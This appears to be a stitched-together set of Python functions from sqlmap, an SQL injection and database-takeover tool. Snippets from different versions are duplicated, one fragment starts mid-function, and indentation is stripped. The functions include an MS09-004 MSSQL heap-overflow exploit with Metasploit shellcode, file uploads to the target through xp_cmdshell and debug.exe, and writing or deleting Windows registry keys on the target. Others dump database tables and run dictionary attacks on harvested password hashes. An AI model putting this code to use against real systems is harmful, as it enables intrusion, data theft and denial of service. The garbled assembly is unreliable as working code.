def regDel(self):
self._regInit()
errMsg = "missing mandatory option"
if not conf.regKey:
msg = "which registry key do you want to delete? "
regKey = readInput(msg)
if not regKey:
raise SqlmapMissingMandatoryOptionException(errMsg)
else:
regKey = conf.regKey
if not conf.regVal:
msg = "which registry key value do you want to delete? "
regVal = readInput(msg)
if not regVal:
raise SqlmapMissingMandatoryOptionException(errMsg)
else:
regVal = conf.regVal
message = "are you sure that you want to delete the Windows "
message += "registry path '%s\\%s? [y/N] " % (regKey, regVal)
if not readInput(message, default='N', boolean=True):
return
infoMsg = "deleting Windows registry path '%s\\%s'. " % (regKey, regVal)
infoMsg += "This will work only if the user running the database "
infoMsg += "process has privileges to modify the Windows registry."
logger.info(infoMsg)
self.delRegKey(regKey, regVal)
def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False):
# NOTE: this is needed here because we use xp_cmdshell extended
# procedure to write a file on the back-end Microsoft SQL Server
# file system
self.initEnv()
self.getRemoteTempPath()
tmpPath = posixToNtSlashes(conf.tmpPath)
dFile = posixToNtSlashes(dFile)
with open(wFile, "rb") as f:
wFileContent = f.read()
self._stackedWriteFilePS(tmpPath, wFileContent, dFile, fileType)
written = self.askCheckWrittenFile(wFile, dFile, forceCheck)
if written is False:
message = "do you want to try to upload the file with "
message += "the custom Visual Basic script technique? [Y/n] "
choice = readInput(message, default="Y")
if not choice or choice.lower() == "y":
self._stackedWriteFileVbs(tmpPath, wFileContent, dFile, fileType)
written = self.askCheckWrittenFile(wFile, dFile, forceCheck)
if written is False:
message = "do you want to try to upload the file with "
message += "the built-in debug.exe technique? [Y/n] "
choice = readInput(message, default="Y")
if not choice or choice.lower() == "y":
self._stackedWriteFileDebugExe(tmpPath, wFile, wFileContent, dFile, fileType)
written = self.askCheckWrittenFile(wFile, dFile, forceCheck)
return written
def dumpFoundTables(self, tables):
message = "do you want to dump tables' entries? [Y/n] "
output = readInput(message, default="Y")
if output and output[0].lower() != "y":
return
dumpFromDbs = []
message = "which database(s)?\n[a]ll (default)\n"
for db, tablesList in tables.items():
if tablesList:
message += "[%s]\n" % unsafeSQLIdentificatorNaming(db)
message += "[q]uit"
test = readInput(message, default="a")
if not test or test.lower() == "a":
dumpFromDbs = tables.keys()
elif test.lower() == "q":
return
else:
dumpFromDbs = test.replace(" ", "").split(",")
for db, tablesList in tables.items():
if db not in dumpFromDbs or not tablesList:
continue
conf.db = db
dumpFromTbls = []
message = "which table(s) of database '%s'?\n" % unsafeSQLIdentificatorNaming(db)
message += "[a]ll (default)\n"
for tbl in tablesList:
message += "[%s]\n" % unsafeSQLIdentificatorNaming(tbl)
message += "[s]kip\n"
message += "[q]uit"
test = readInput(message, default="a")
if not test or test.lower() == "a":
dumpFromTbls = tablesList
elif test.lower() == "s":
continue
elif test.lower() == "q":
return
else:
dumpFromTbls = test.replace(" ", "").split(",")
for table in dumpFromTbls:
conf.tbl = table
kb.data.cachedColumns = {}
kb.data.dumpedTable = {}
data = self.dumpTable()
if data:
conf.dumper.dbTableValues(data)
def dumpFoundTables(self, tables):
message = "do you want to dump tables' entries? [Y/n] "
if not readInput(message, default='Y', boolean=True):
return
dumpFromDbs = []
message = "which database(s)?\n[a]ll (default)\n"
for db, tablesList in tables.items():
if tablesList:
message += "[%s]\n" % unsafeSQLIdentificatorNaming(db)
message += "[q]uit"
choice = readInput(message, default='a')
if not choice or choice.lower() == 'a':
dumpFromDbs = tables.keys()
elif choice.lower() == 'q':
return
else:
dumpFromDbs = choice.replace(" ", "").split(',')
for db, tablesList in tables.items():
if db not in dumpFromDbs or not tablesList:
continue
conf.db = db
dumpFromTbls = []
message = "which table(s) of database '%s'?\n" % unsafeSQLIdentificatorNaming(db)
message += "[a]ll (default)\n"
for tbl in tablesList:
message += "[%s]\n" % unsafeSQLIdentificatorNaming(tbl)
message += "[s]kip\n"
message += "[q]uit"
choice = readInput(message, default='a')
if not choice or choice.lower() == 'a':
dumpFromTbls = tablesList
elif choice.lower() == 's':
continue
elif choice.lower() == 'q':
return
else:
dumpFromTbls = choice.replace(" ", "").split(',')
for table in dumpFromTbls:
conf.tbl = table
kb.data.cachedColumns = {}
kb.data.dumpedTable = {}
data = self.dumpTable()
if data:
conf.dumper.dbTableValues(data)
def parseSitemap(url, retVal=None):
global abortedFlag
if retVal is not None:
logger.debug("parsing sitemap '%s'" % url)
try:
if retVal is None:
abortedFlag = False
retVal = oset()
content = Request.getPage(url=url, raise404=True)[0] if not abortedFlag else ""
for match in re.finditer(r"<loc>\s*([^<]+)", content):
if abortedFlag:
break
url = match.group(1).strip()
if url.endswith(".xml") and "sitemap" in url.lower():
if kb.followSitemapRecursion is None:
message = "sitemap recursion detected. Do you want to follow? [y/N] "
test = readInput(message, default="N")
kb.followSitemapRecursion = test[0] in ("y", "Y")
if kb.followSitemapRecursion:
parseSitemap(url, retVal)
else:
retVal.add(url)
except KeyboardInterrupt:
abortedFlag = True
warnMsg = "user aborted during sitemap parsing. sqlmap "
warnMsg += "will use partial list"
logger.warn(warnMsg)
return retVal
def _resumeOS():
"""
Resume stored OS information from HashDB
"""
value = hashDBRetrieve(HASHDB_KEYS.OS)
if not value:
return
os = value
if os and os != 'None':
infoMsg = "resuming back-end DBMS operating system '%s' " % os
logger.info(infoMsg)
if conf.os and conf.os.lower() != os.lower():
message = "you provided '%s' as back-end DBMS operating " % conf.os
message += "system, but from a past scan information on the "
message += "target URL sqlmap assumes the back-end DBMS "
message += "operating system is %s. " % os
message += "Do you really want to force the back-end DBMS "
message += "OS value? [y/N] "
test = readInput(message, default="N")
if not test or test[0] in ("n", "N"):
conf.os = os
else:
conf.os = os
Backend.setOs(conf.os)
def storeResultsToFile(results):
if not results:
return
if kb.storeCrawlingChoice is None:
message = "do you want to store crawling results to a temporary file "
message += "for eventual further processing with other tools [y/N] "
test = readInput(message, default="N")
kb.storeCrawlingChoice = test[0] in ("y", "Y")
if kb.storeCrawlingChoice:
handle, filename = tempfile.mkstemp(prefix="sqlmapcrawling-", suffix=".csv" if conf.forms else ".txt")
os.close(handle)
infoMsg = "writing crawling results to a temporary file '%s' " % filename
logger.info(infoMsg)
with codecs.open(filename, "w+b", UNICODE_ENCODING) as f:
if conf.forms:
f.write("URL,POST\n")
for url, _, data, _, _ in results:
if conf.forms:
f.write("%s,%s\n" % (safeCSValue(url), safeCSValue(data or "")))
else:
f.write("%s\n" % url)
def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
# NOTE: this is needed here because we use xp_cmdshell extended
# procedure to write a file on the back-end Microsoft SQL Server
# file system
self.initEnv()
self.getRemoteTempPath()
tmpPath = posixToNtSlashes(conf.tmpPath)
dFile = posixToNtSlashes(dFile)
wFilePointer = codecs.open(wFile, "rb")
wFileContent = wFilePointer.read()
wFilePointer.close()
self.__stackedWriteFileVbs(tmpPath, wFileContent, dFile, fileType)
sameFile = self.askCheckWrittenFile(wFile, dFile, fileType)
if sameFile is False:
message = "do you want to try to upload the file with "
message += "another technique? [Y/n] "
choice = readInput(message, default="Y")
if not choice or choice.lower() == "y":
self.__stackedWriteFileDebugExe(tmpPath, wFile, wFileContent, dFile, fileType)
def storeHashesToFile(attack_dict):
if not attack_dict:
return
if kb.storeHashesChoice is None:
message = "do you want to store hashes to a temporary file "
message += "for eventual further processing with other tools [y/N] "
test = readInput(message, default="N")
kb.storeHashesChoice = test[0] in ("y", "Y")
if not kb.storeHashesChoice:
return
handle, filename = tempfile.mkstemp(prefix="sqlmaphashes-", suffix=".txt")
os.close(handle)
infoMsg = "writing hashes to a temporary file '%s' " % filename
logger.info(infoMsg)
items = set()
with open(filename, "w+") as f:
for user, hashes in attack_dict.items():
for hash_ in hashes:
hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_
if hash_ and hash_ != NULL and hashRecognition(hash_):
item = None
if user and not user.startswith(DUMMY_USER_PREFIX):
item = "%s:%s\n" % (user.encode(UNICODE_ENCODING), hash_.encode(UNICODE_ENCODING))
else:
item = "%s\n" % hash_.encode(UNICODE_ENCODING)
if item and item not in items:
f.write(item)
items.add(item)
def cleanup(self, onlyFileTbl=False, udfDict=None):
"""
Cleanup database from sqlmap create tables and functions
"""
if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct:
return
if Backend.isOs(OS.WINDOWS):
libtype = "dynamic-link library"
elif Backend.isOs(OS.LINUX):
libtype = "shared object"
else:
libtype = "shared library"
if onlyFileTbl:
logger.debug("cleaning up the database management system")
else:
logger.info("cleaning up the database management system")
logger.debug("removing support tables")
inject.goStacked("DROP TABLE %s" % self.fileTblName, silent=True)
inject.goStacked("DROP TABLE %shex" % self.fileTblName, silent=True)
if not onlyFileTbl:
inject.goStacked("DROP TABLE %s" % self.cmdTblName, silent=True)
if Backend.isDbms(DBMS.MSSQL):
return
if udfDict is None:
udfDict = self.sysUdfs
for udf, inpRet in udfDict.items():
message = "do you want to remove UDF '%s'? [Y/n] " % udf
output = readInput(message, default="Y")
if not output or output in ("y", "Y"):
dropStr = "DROP FUNCTION %s" % udf
if Backend.isDbms(DBMS.PGSQL):
inp = ", ".join(i for i in inpRet["input"])
dropStr += "(%s)" % inp
logger.debug("removing UDF '%s'" % udf)
inject.goStacked(dropStr, silent=True)
logger.info("database management system cleanup finished")
warnMsg = "remember that UDF %s files " % libtype
if conf.osPwn:
warnMsg += "and Metasploit related files in the temporary "
warnMsg += "folder "
warnMsg += "saved on the file system can only be deleted "
warnMsg += "manually"
logger.warn(warnMsg)
def storeResultsToFile(results):
if not results:
return
if kb.storeCrawlingChoice is None:
message = "do you want to store crawling results to a temporary file "
message += "for eventual further processing with other tools [y/N] "
kb.storeCrawlingChoice = readInput(message, default='N', boolean=True)
if kb.storeCrawlingChoice:
handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.CRAWLER, suffix=".csv" if conf.forms else ".txt")
os.close(handle)
infoMsg = "writing crawling results to a temporary file '%s' " % filename
logger.info(infoMsg)
with openFile(filename, "w+b") as f:
if conf.forms:
f.write("URL,POST\n")
for url, _, data, _, _ in results:
if conf.forms:
f.write("%s,%s\n" % (safeCSValue(url), safeCSValue(data or "")))
else:
f.write("%s\n" % url)
def _selectLhost(self):
address = None
message = "what is the local address? "
if self.localIP:
message += "[Enter for '%s' (detected)] " % self.localIP
valid = None
while not valid:
valid = True
address = readInput(message, default=self.localIP or "")
try:
socket.inet_aton(address)
except socket.error:
valid = False
finally:
valid = valid and re.search(r"\d+\.\d+\.\d+\.\d+", address) is not None
if conf.batch and not address:
raise SqlmapDataException("local host address is missing")
elif address and not valid:
warnMsg = "invalid local host address"
logger.warn(warnMsg)
return address
def _ask_redirect_choice(self, redcode, redurl):
if kb.redirectChoice is None:
msg = "sqlmap got a %d redirect to " % redcode
msg += "'%s'. Do you want to follow? [Y/n] " % redurl
choice = readInput(msg, default="Y")
kb.redirectChoice = choice.upper()
def osBof(self):
if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct:
return
if not Backend.isDbms(DBMS.MSSQL) or not Backend.isVersionWithin(("2000", "2005")):
errMsg = "the back-end DBMS must be Microsoft SQL Server "
errMsg += "2000 or 2005 to be able to exploit the heap-based "
errMsg += "buffer overflow in the 'sp_replwritetovarbin' "
errMsg += "stored procedure (MS09-004)"
raise SqlmapUnsupportedDBMSException(errMsg)
infoMsg = "going to exploit the Microsoft SQL Server %s " % Backend.getVersion()
infoMsg += "'sp_replwritetovarbin' stored procedure heap-based "
infoMsg += "buffer overflow (MS09-004)"
logger.info(infoMsg)
msg = "this technique is likely to DoS the DBMS process, are you "
msg += "sure that you want to carry with the exploit? [y/N] "
inp = readInput(msg, default="N")
if inp and inp[0].lower() == "y":
dos = True
else:
dos = False
if dos:
self.initEnv(mandatory=False, detailed=True)
self.getRemoteTempPath()
self.createMsfShellcode(exitfunc="seh", format="raw", extra="-b 27", encode=True)
self.bof()
def udfSetLocalPaths(self):
self.udfLocalFile = paths.SQLMAP_UDF_PATH
self.udfSharedLibName = "libs%s" % randomStr(lowercase=True)
msg = "what is the back-end database management system architecture?"
msg += "\n[1] 32-bit (default)"
msg += "\n[2] 64-bit"
while True:
arch = readInput(msg, default='1')
if isinstance(arch, basestring) and arch.isdigit() and int(arch) in ( 1, 2 ):
if int(arch) == 1:
arch = 32
else:
arch = 64
break
else:
warnMsg = "invalid value, valid values are 1 and 2"
logger.warn(warnMsg)
if kb.os == "Windows":
self.udfLocalFile += "/mysql/windows/%d/lib_mysqludf_sys.dll" % arch
self.udfSharedLibExt = "dll"
else:
self.udfLocalFile += "/mysql/linux/%d/lib_mysqludf_sys.so" % arch
self.udfSharedLibExt = "so"
def regAdd(self):
self._regInit()
errMsg = "missing mandatory option"
if not conf.regKey:
msg = "which registry key do you want to write? "
regKey = readInput(msg)
if not regKey:
raise SqlmapMissingMandatoryOptionException(errMsg)
else:
regKey = conf.regKey
if not conf.regVal:
msg = "which registry key value do you want to write? "
regVal = readInput(msg)
if not regVal:
raise SqlmapMissingMandatoryOptionException(errMsg)
else:
regVal = conf.regVal
if not conf.regData:
msg = "which registry key value data do you want to write? "
regData = readInput(msg)
if not regData:
raise SqlmapMissingMandatoryOptionException(errMsg)
else:
regData = conf.regData
if not conf.regType:
default = "REG_SZ"
msg = "which registry key value data-type is it? "
msg += "[%s] " % default
regType = readInput(msg, default=default)
else:
regType = conf.regType
infoMsg = "adding Windows registry path '%s\%s' " % (regKey, regVal)
infoMsg += "with data '%s'. " % regData
infoMsg += "This will work only if the user running the database "
infoMsg += "process has privileges to modify the Windows registry."
logger.info(infoMsg)
self.addRegKey(regKey, regVal, regType, regData)
def askCheckWrittenFile(self, wFile, dFile, fileType):
message = "do you want confirmation that the file '%s' " % dFile
message += "has been successfully written on the back-end DBMS "
message += "file system? [Y/n] "
output = readInput(message, default="Y")
if not output or output in ("y", "Y"):
self.__checkWrittenFile(wFile, dFile, fileType)
def attackDumpedTable():
if kb.data.dumpedTable:
table = kb.data.dumpedTable
columns = table.keys()
count = table["__infos__"]["count"]
colUser = ''
attack_dict = {}
for column in columns:
if column and column.lower() in ('user', 'username', 'user_name'):
colUser = column
break
for i in range(count):
for column in columns:
if column == colUser or column == '__infos__':
continue
if len(table[column]['values']) <= i:
continue
value = table[column]['values'][i]
if hashRecognition(value):
if colUser:
if table[colUser]['values'][i] not in attack_dict:
attack_dict[table[colUser]['values'][i]] = []
attack_dict[table[colUser]['values'][i]].append(value)
else:
attack_dict['%s%d' % (DUMMY_USER_PREFIX, i)] = [value]
if attack_dict:
message = "recognized possible password hash values. "
message += "do you want to use dictionary attack on retrieved table items? [Y/n/q]"
test = readInput(message, default="Y")
if test[0] in ("n", "N"):
return
elif test[0] in ("q", "Q"):
raise sqlmapUserQuitException
results = dictionaryAttack(attack_dict)
for (user, hash_, password) in results:
for i in range(count):
for column in columns:
if column == colUser or column == '__infos__':
continue
if len(table[column]['values']) <= i:
continue
value = table[column]['values'][i]
if all(map(lambda x: x, [value, hash_])) and value.lower() == hash_.lower():
table[column]['values'][i] += " (%s)" % password
table[column]['length'] = max(table[column]['length'], len(table[column]['values'][i]))
def askCheckReadFile(self, localFile, remoteFile):
message = "do you want confirmation that the remote file '%s' " % remoteFile
message += "has been successfully downloaded from the back-end "
message += "DBMS file system? [Y/n] "
if readInput(message, default='Y', boolean=True):
return self._checkFileLength(localFile, remoteFile, True)
return None
def _ask_redirect_choice(self, redcode, redurl, method):
with kb.locks.redirect:
if kb.redirectChoice is None:
msg = "sqlmap got a %d redirect to " % redcode
msg += "'%s'. Do you want to follow? [Y/n] " % redurl
kb.redirectChoice = REDIRECTION.YES if readInput(msg, default='Y', boolean=True) else REDIRECTION.NO
if kb.redirectChoice == REDIRECTION.YES and method == HTTPMETHOD.POST and kb.resendPostOnRedirect is None:
msg = "redirect is a result of a "
msg += "POST request. Do you want to "
msg += "resend original POST data to a new "
msg += "location? [%s] " % ("Y/n" if not kb.originalPage else "y/N")
kb.resendPostOnRedirect = readInput(msg, default=('Y' if not kb.originalPage else 'N'), boolean=True)
if kb.resendPostOnRedirect:
self.redirect_request = self._redirect_request
def _askOverwriteUdf(self, udf):
message = "UDF '%s' already exists, do you " % udf
message += "want to overwrite it? [y/N] "
output = readInput(message, default="N")
if output and output[0] in ("y", "Y"):
return True
else:
return False
def getPage(**kwargs):
"""
This method connects to the target url or proxy and returns
the target url page content
"""
if conf.delay is not None and isinstance(
conf.delay, (int, float)) and conf.delay > 0:
time.sleep(conf.delay)
elif conf.cpuThrottle:
cpuThrottle(conf.cpuThrottle)
threadData = getCurrentThreadData()
threadData.lastRequestUID += 1
url = kwargs.get('url', conf.url)
get = kwargs.get('get', None)
post = kwargs.get('post', None)
method = kwargs.get('method', None)
cookie = kwargs.get('cookie', None)
ua = kwargs.get('ua', None)
referer = kwargs.get('referer', None)
host = kwargs.get('host', conf.host)
direct = kwargs.get('direct', False)
multipart = kwargs.get('multipart', False)
silent = kwargs.get('silent', False)
raise404 = kwargs.get('raise404', True)
auxHeaders = kwargs.get('auxHeaders', None)
response = kwargs.get('response', False)
ignoreTimeout = kwargs.get('ignoreTimeout', kb.ignoreTimeout)
refreshing = kwargs.get('refreshing', False)
retrying = kwargs.get('retrying', False)
crawling = kwargs.get('crawling', False)
if not urlparse.urlsplit(url).netloc:
url = urlparse.urljoin(conf.url, url)
# flag to know if we are dealing with the same target host
target = reduce(
lambda x, y: x == y,
map(lambda x: urlparse.urlparse(x).netloc.split(':')[0],
[url, conf.url or ""]))
if not retrying:
# Reset the number of connection retries
threadData.retriesCount = 0
# fix for known issue when urllib2 just skips the other part of provided
# url splitted with space char while urlencoding it in the later phase
url = url.replace(" ", "%20")
code = None
page = None
_ = urlparse.urlsplit(url)
requestMsg = u"HTTP request [#%d]:\n%s " % (
threadData.lastRequestUID, method or
(HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET))
requestMsg += ("%s%s" %
(_.path or "/",
("?%s" % _.query) if _.query else "")) if not any(
(refreshing, crawling)) else url
responseMsg = u"HTTP response "
requestHeaders = u""
responseHeaders = None
logHeaders = u""
skipLogTraffic = False
raise404 = raise404 and not kb.ignoreNotFound
# support for non-latin (e.g. cyrillic) URLs as urllib/urllib2 doesn't
# support those by default
url = asciifyUrl(url)
# fix for known issues when using url in unicode format
# (e.g. UnicodeDecodeError: "url = url + '?' + query" in redirect case)
url = unicodeencode(url)
try:
if silent:
socket.setdefaulttimeout(HTTP_SILENT_TIMEOUT)
else:
socket.setdefaulttimeout(conf.timeout)
if direct:
if "?" in url:
url, params = url.split("?")
params = urlencode(params)
url = "%s?%s" % (url, params)
requestMsg += "?%s" % params
elif multipart:
# Needed in this form because of potential circle dependency
# problem (option -> update -> connect -> option)
from lib.core.option import proxyHandler
multipartOpener = urllib2.build_opener(
proxyHandler, multipartpost.MultipartPostHandler)
conn = multipartOpener.open(unicodeencode(url), multipart)
page = Connect.__connReadProxy(conn)
responseHeaders = conn.info()
responseHeaders[URI_HTTP_HEADER] = conn.geturl()
page = decodePage(
page, responseHeaders.get(HTTPHEADER.CONTENT_ENCODING),
responseHeaders.get(HTTPHEADER.CONTENT_TYPE))
return page
elif any((refreshing, crawling)):
pass
elif target:
if PLACE.GET in conf.parameters and not get:
get = conf.parameters[PLACE.GET]
if get:
url = "%s?%s" % (url, get)
requestMsg += "?%s" % get
if conf.method == HTTPMETHOD.POST and not post:
for place in (PLACE.POST, ):
if place in conf.parameters:
post = conf.parameters[place]
break
elif get:
url = "%s?%s" % (url, get)
requestMsg += "?%s" % get
requestMsg += " %s" % httplib.HTTPConnection._http_vsn_str
# Prepare HTTP headers
headers = forgeHeaders({
HTTPHEADER.COOKIE: cookie,
HTTPHEADER.USER_AGENT: ua,
HTTPHEADER.REFERER: referer
})
if kb.authHeader:
headers[HTTPHEADER.AUTHORIZATION] = kb.authHeader
if kb.proxyAuthHeader:
headers[HTTPHEADER.PROXY_AUTHORIZATION] = kb.proxyAuthHeader
headers[HTTPHEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE
headers[
HTTPHEADER.
ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE if method != HTTPMETHOD.HEAD and kb.pageCompress else "identity"
headers[HTTPHEADER.HOST] = host or getHostHeader(url)
if post is not None and HTTPHEADER.CONTENT_TYPE not in headers:
headers[HTTPHEADER.CONTENT_TYPE] = POST_HINT_CONTENT_TYPES.get(
kb.postHint, DEFAULT_CONTENT_TYPE)
if headers.get(HTTPHEADER.CONTENT_TYPE) == POST_HINT_CONTENT_TYPES[
POST_HINT.MULTIPART]:
warnMsg = "missing 'boundary parameter' in '%s' header. " % HTTPHEADER.CONTENT_TYPE
warnMsg += "Will try to reconstruct"
singleTimeWarnMessage(warnMsg)
boundary = findMultipartPostBoundary(conf.data)
if boundary:
headers[HTTPHEADER.CONTENT_TYPE] = "%s; boundary=%s" % (
headers[HTTPHEADER.CONTENT_TYPE], boundary)
if auxHeaders:
for key, item in auxHeaders.items():
headers[key] = item
for key, item in headers.items():
del headers[key]
headers[unicodeencode(key, kb.pageEncoding)] = unicodeencode(
item, kb.pageEncoding)
post = unicodeencode(post, kb.pageEncoding)
if method:
req = MethodRequest(url, post, headers)
req.set_method(method)
else:
req = urllib2.Request(url, post, headers)
requestHeaders += "\n".join(
"%s: %s" %
(key.capitalize() if isinstance(key, basestring) else key,
getUnicode(value)) for (key, value) in req.header_items())
if not getRequestHeader(req, HTTPHEADER.COOKIE) and conf.cj:
conf.cj._policy._now = conf.cj._now = int(time.time())
cookies = conf.cj._cookies_for_request(req)
requestHeaders += "\n%s" % ("Cookie: %s" % ";".join(
"%s=%s" %
(getUnicode(cookie.name), getUnicode(cookie.value))
for cookie in cookies))
if post is not None:
if not getRequestHeader(req, HTTPHEADER.CONTENT_LENGTH):
requestHeaders += "\n%s: %d" % (string.capwords(
HTTPHEADER.CONTENT_LENGTH), len(post))
if not getRequestHeader(req, HTTPHEADER.CONNECTION):
requestHeaders += "\n%s: close" % HTTPHEADER.CONNECTION
requestMsg += "\n%s" % requestHeaders
if post is not None:
requestMsg += "\n\n%s" % getUnicode(post)
requestMsg += "\n"
threadData.lastRequestMsg = requestMsg
logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)
conn = urllib2.urlopen(req)
if not kb.authHeader and getRequestHeader(
req, HTTPHEADER.AUTHORIZATION):
kb.authHeader = getRequestHeader(req, HTTPHEADER.AUTHORIZATION)
if not kb.proxyAuthHeader and getRequestHeader(
req, HTTPHEADER.PROXY_AUTHORIZATION):
kb.proxyAuthHeader = getRequestHeader(
req, HTTPHEADER.PROXY_AUTHORIZATION)
# Return response object
if response:
return conn, None, None
# Get HTTP response
if hasattr(conn, 'redurl'):
page = threadData.lastRedirectMsg[1] if kb.redirectChoice == REDIRECTION.NO\
else Connect.__connReadProxy(conn)
skipLogTraffic = kb.redirectChoice == REDIRECTION.NO
code = conn.redcode
else:
page = Connect.__connReadProxy(conn)
code = code or conn.code
responseHeaders = conn.info()
responseHeaders[URI_HTTP_HEADER] = conn.geturl()
page = decodePage(page,
responseHeaders.get(HTTPHEADER.CONTENT_ENCODING),
responseHeaders.get(HTTPHEADER.CONTENT_TYPE))
status = getUnicode(conn.msg)
if extractRegexResult(META_REFRESH_REGEX, page, re.DOTALL
| re.IGNORECASE) and not refreshing:
url = extractRegexResult(META_REFRESH_REGEX, page,
re.DOTALL | re.IGNORECASE)
debugMsg = "got HTML meta refresh header"
logger.debug(debugMsg)
if kb.alwaysRefresh is None:
msg = "sqlmap got a refresh request "
msg += "(redirect like response common to login pages). "
msg += "Do you want to apply the refresh "
msg += "from now on (or stay on the original page)? [Y/n]"
choice = readInput(msg, default="Y")
kb.alwaysRefresh = choice not in ("n", "N")
if kb.alwaysRefresh:
if url.lower().startswith('http://'):
kwargs['url'] = url
else:
kwargs['url'] = conf.url[:conf.url.rfind('/') +
1] + url
threadData.lastRedirectMsg = (threadData.lastRequestUID,
page)
kwargs['refreshing'] = True
kwargs['get'] = None
kwargs['post'] = None
try:
return Connect.__getPageProxy(**kwargs)
except sqlmapSyntaxException:
pass
# Explicit closing of connection object
if not conf.keepAlive:
try:
if hasattr(conn.fp, '_sock'):
conn.fp._sock.close()
conn.close()
except Exception, msg:
warnMsg = "problem occured during connection closing ('%s')" % msg
logger.warn(warnMsg)
except urllib2.HTTPError, e:
page = None
responseHeaders = None
try:
page = e.read()
responseHeaders = e.info()
responseHeaders[URI_HTTP_HEADER] = e.geturl()
page = decodePage(
page, responseHeaders.get(HTTPHEADER.CONTENT_ENCODING),
responseHeaders.get(HTTPHEADER.CONTENT_TYPE))
except socket.timeout:
warnMsg = "connection timed out while trying "
warnMsg += "to get error page information (%d)" % e.code
logger.warn(warnMsg)
return None, None, None
except KeyboardInterrupt:
raise
except:
pass
finally:
page = page if isinstance(page, unicode) else getUnicode(page)
code = e.code
threadData.lastHTTPError = (threadData.lastRequestUID, code)
kb.httpErrorCodes[code] = kb.httpErrorCodes.get(code, 0) + 1
status = getUnicode(e.msg)
responseMsg += "[#%d] (%d %s):\n" % (threadData.lastRequestUID,
code, status)
if responseHeaders:
logHeaders = "\n".join(
"%s: %s" %
(key.capitalize() if isinstance(key, basestring) else key,
getUnicode(value))
for (key, value) in responseHeaders.items())
logHTTPTraffic(
requestMsg,
"%s%s\n\n%s" % (responseMsg, logHeaders,
(page or "")[:MAX_CONNECTION_CHUNK_SIZE]))
skipLogTraffic = True
if conf.verbose <= 5:
responseMsg += getUnicode(logHeaders)
elif conf.verbose > 5:
responseMsg += "%s\n\n%s" % (logHeaders,
(page or
"")[:MAX_CONNECTION_CHUNK_SIZE])
logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)
if e.code == httplib.UNAUTHORIZED:
errMsg = "not authorized, try to provide right HTTP "
errMsg += "authentication type and valid credentials (%d)" % code
raise sqlmapConnectionException, errMsg
elif e.code == httplib.NOT_FOUND:
if raise404:
errMsg = "page not found (%d)" % code
raise sqlmapConnectionException, errMsg
else:
debugMsg = "page not found (%d)" % code
logger.debug(debugMsg)
processResponse(page, responseHeaders)
elif e.code == httplib.GATEWAY_TIMEOUT:
if ignoreTimeout:
return None, None, None
else:
warnMsg = "unable to connect to the target url (%d - %s)" % (
e.code, httplib.responses[e.code])
if threadData.retriesCount < conf.retries and not kb.threadException:
warnMsg += ". sqlmap is going to retry the request"
logger.critical(warnMsg)
return Connect.__retryProxy(**kwargs)
elif kb.testMode:
logger.critical(warnMsg)
return None, None, None
else:
raise sqlmapConnectionException, warnMsg
else:
debugMsg = "got HTTP error code: %d (%s)" % (code, status)
logger.debug(debugMsg)
def _selectLhost(self):
message = "what is the local address? [%s] " % self.localIP
address = readInput(message, default=self.localIP)
return address
retVal = [
urllib.unquote(match.group(1) or match.group(2))
for match in re.finditer(GOOGLE_REGEX, page, re.I)
]
if not retVal and "detected unusual traffic" in page:
warnMsg = "Google has detected 'unusual' traffic from "
warnMsg += "used IP address disabling further searches"
logger.warn(warnMsg)
if not retVal:
message = "no usable links found. What do you want to do?"
message += "\n[1] (re)try with DuckDuckGo (default)"
message += "\n[2] (re)try with Disconnect Search"
message += "\n[3] quit"
choice = readInput(message, default='1')
if choice == '3':
raise SqlmapUserQuitException
elif choice == '2':
url = "https://search.disconnect.me/searchTerms/search?"
url += "start=nav&option=Web"
url += "&query=%s" % urlencode(dork, convall=True)
url += "&ses=Google&location_option=US"
url += "&nextDDG=%s" % urlencode(
"/search?q=%s&setmkt=en-US&setplang=en-us&setlang=en-us&first=%d&FORM=PORE"
% (urlencode(dork, convall=True), (gpage - 1) * 10),
convall=True)
url += "&sa=N&showIcons=false&filterIcons=none&js_enabled=1"
regex = DISCONNECT_SEARCH_REGEX
else:
def attackDumpedTable():
if kb.data.dumpedTable:
table = kb.data.dumpedTable
columns = list(table.keys())
count = table["__infos__"]["count"]
if not count:
return
debugMsg = "analyzing table dump for possible password hashes"
logger.debug(debugMsg)
found = False
col_user = ''
col_passwords = set()
attack_dict = {}
binary_fields = OrderedSet()
replacements = {}
for column in sorted(columns, key=len, reverse=True):
if column and column.lower() in COMMON_USER_COLUMNS:
col_user = column
break
for column in columns:
if column != "__infos__" and table[column]["values"]:
if all(
INVALID_UNICODE_CHAR_FORMAT.split('%')[0] in (
value or "") for value in table[column]["values"]):
binary_fields.add(column)
if binary_fields:
_ = ','.join(binary_fields)
warnMsg = "potential binary fields detected ('%s'). In case of any problems you are " % _
warnMsg += "advised to rerun table dump with '--fresh-queries --binary-fields=\"%s\"'" % _
logger.warn(warnMsg)
for i in xrange(count):
if not found and i > HASH_RECOGNITION_QUIT_THRESHOLD:
break
for column in columns:
if column == col_user or column == "__infos__":
continue
if len(table[column]["values"]) <= i:
continue
value = table[column]["values"][i]
if column in binary_fields and re.search(
HASH_BINARY_COLUMNS_REGEX, column) is not None:
previous = value
value = encodeHex(getBytes(value), binary=False)
replacements[value] = previous
if hashRecognition(value):
found = True
if col_user and i < len(table[col_user]["values"]):
if table[col_user]["values"][i] not in attack_dict:
attack_dict[table[col_user]["values"][i]] = []
attack_dict[table[col_user]["values"][i]].append(value)
else:
attack_dict["%s%d" % (DUMMY_USER_PREFIX, i)] = [value]
col_passwords.add(column)
if attack_dict:
infoMsg = "recognized possible password hashes in column%s " % (
"s" if len(col_passwords) > 1 else "")
infoMsg += "'%s'" % ", ".join(col for col in col_passwords)
logger.info(infoMsg)
storeHashesToFile(attack_dict)
message = "do you want to crack them via a dictionary-based attack? %s" % (
"[y/N/q]" if conf.multipleTargets else "[Y/n/q]")
choice = readInput(
message, default='N' if conf.multipleTargets else 'Y').upper()
if choice == 'N':
return
elif choice == 'Q':
raise SqlmapUserQuitException
results = dictionaryAttack(attack_dict)
